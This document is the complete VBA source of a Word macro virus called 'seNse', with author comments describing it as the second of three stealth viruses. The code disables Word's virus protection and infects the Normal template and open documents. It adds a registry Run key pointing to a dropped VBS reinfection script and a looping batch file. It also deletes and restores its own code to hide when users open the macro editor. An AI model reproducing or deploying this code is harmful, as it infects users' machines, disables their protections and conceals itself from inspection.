Sub AutoExec() Call StealthEnd SubSub AutoClose()On Error Resume Next'MyName = seNse'WrittenBy = f0re'SpecialTanksTo = Flitnic'Version = .C (1.1)'I have written three different stealth viruses, each using their own technique. This is the'second in the series and its based on an idea by flitnic. The virus uses an external batch'file to reinfect the normal template. Put this code in a module called "seNse". Of course'this is not perfect stealth, though a nice compact attempt :). To maintain readability i'have not included any antiheuristics in this code (check out m00d for anti heuristics).'If you find any errors please let me know.Options.VirusProtection = False: Options.ConfirmConversions = False: Options.SaveNormalPrompt = Falsewindir = Environ("windir")If Dir(NormalTemplate.FullName) = "" Then GoTo EndSubSetAttr NormalTemplate.FullName, vbNormalIf NormalTemplate.VBProject.VBComponents.Item("seNse").CodeModule.Lines(7, 1) <> "'MyName = seNse" ThenActiveDocument.vbproject.vbcomponents("seNse").export (windir & "\tempad.dll")NormalTemplate.vbproject.vbcomponents.import (windir & "\tempad.dll")NormalTemplate.SaveEnd IfIf ActiveDocument.VBProject.VBComponents.Item("seNse").CodeModule.Lines(7, 1) <> "'MyName = seNse" ThenNormalTemplate.vbproject.vbcomponents("seNse").export (windir & "\tempnt.dll")ActiveDocument.vbproject.vbcomponents.import (windir & "\tempnt.dll")ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfIf Dir(windir & "\seNse.vbs") <> "" Then Kill (windir & "\seNse.vbs")If Dir(windir & "\seNse.dll") <> "" Then Kill (windir & "\seNse.dll")NormalTemplate.VBProject.VBComponents("seNse").Export (windir & "\seNse.dll")System.PrivateProfileString("", "HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\run", "seNse") = windir & "\seNse.vbs"Open windir & "\seNse.vbs" For Append As #1Print #1, "On error resume next"Print #1, "Set WordObj = CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"Print #1, "WordObj.Options.SaveNormalPrompt = False"Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.remove WordObj.NormalTemplate.VBProject.VBComponents(" & Chr(34) & "seNse" & Chr(34) & ")"Print #1, "WordObj.NormalTemplate.save"Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.import (" & Chr(34) & windir & "\seNse.dll" & Chr(34) & ")"Print #1, "WordObj.NormalTemplate.save"Print #1, "set NT = nothing"Print #1, "WordObj.Quit"Close #1EndSub:End SubSub Stealth()windir = Environ("windir")If Dir(windir & "\System\id.sys") <> "" Then Kill windir & "\System\id.sys"If Dir(windir & "\System\seNse.bat") <> "" Then Kill windir & "\System\seNse.bat"NormalTemplate.OpenAsDocumentNTAtt = ActiveDocument.ReadOnlyActiveDocument.SaveAs FileName:=windir & "\System\id.sys", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=FalseNormalTemplate.Saved = TrueActiveDocument.Saved = TrueActiveDocument.CloseClose #1Open windir & "\System\seNse.bat" For Append As #1Print #1, ":Begin"For i = 1 To 500Print #1, "rem seNse was coded by f0re [UC/Skamwerks/DVC]"Next iPrint #1, ":Begin"Print #1, "Move /y " & Chr(34) & "c:\windll.dat" & Chr(34) & " " & Chr(34) & NormalTemplate.FullName & Chr(34)Print #1, "If exist c:\windll.dat goto Begin"Close #1FileCopy windir & "\System\id.sys", "c:\windll.dat"NTReturn = Shell(windir & "\System\seNse.bat", 0)End SubSub ViewVBCode()On Error Resume NextNormalTemplate.VBProject.VBComponents("seNse").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLinesNormalTemplate.Saved = TrueNormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents("seNse")NormalTemplate.Saved = TrueDocnumber = Application.Documents.CountIf  docnumber >= 1 Then For X = 1 to docnumber  Documents(X).VBProject.VBComponents("seNse").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("seNse").CodeModule.CountOfLines  Documents(X).Saved = True  Documents(X).VBProject.VBComponents.Remove Documents(X).VBProject.VBComponents("seNse")  Documents(X).Saved = True Next XEnd IfApplication.ShowVisualBasicEditor = TrueEnd SubSub ToolsMacro()On Error Resume NextFor X = 1 To NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLines CodeNT = CodeNT & NormalTemplate.VBProject.VBComponents("seNse").CodeModule.Lines(X, 1) & Chr(13)Next XNormalTemplate.VBProject.VBComponents("seNse").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLinesNormalTemplate.Saved = TrueDocnumber = Application.Documents.Count If docnumber >= 1 Then For X = 1 To ActiveDocument.VBProject.VBComponents("seNse").CodeModule.CountOfLines  CodeAD = CodeAD & ActiveDocument.VBProject.VBComponents("seNse").CodeModule.Lines(X, 1) & Chr(13) Next X For X = 1 to docnumber  Documents(X).VBProject.VBComponents("seNse").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("seNse").CodeModule.CountOfLines  Documents(X).Saved = True Next XEnd IfApplication.Dialogs(wdDialogToolsMacro).ShowIf Application.ShowVisualBasicEditor = False Then NormalTemplate.VBProject.VBComponents("seNse").CodeModule.InsertLines 1, CodeNT NormalTemplate.Save If docnumber >= 1 Then  For X=1 to docnumber   Documents(X).VBProject.VBComponents("seNse").CodeModule.InsertLines 1, CodeAD   Documents(X).SaveAs Documents(X).FullName  Next X End IfEnd IfEnd Sub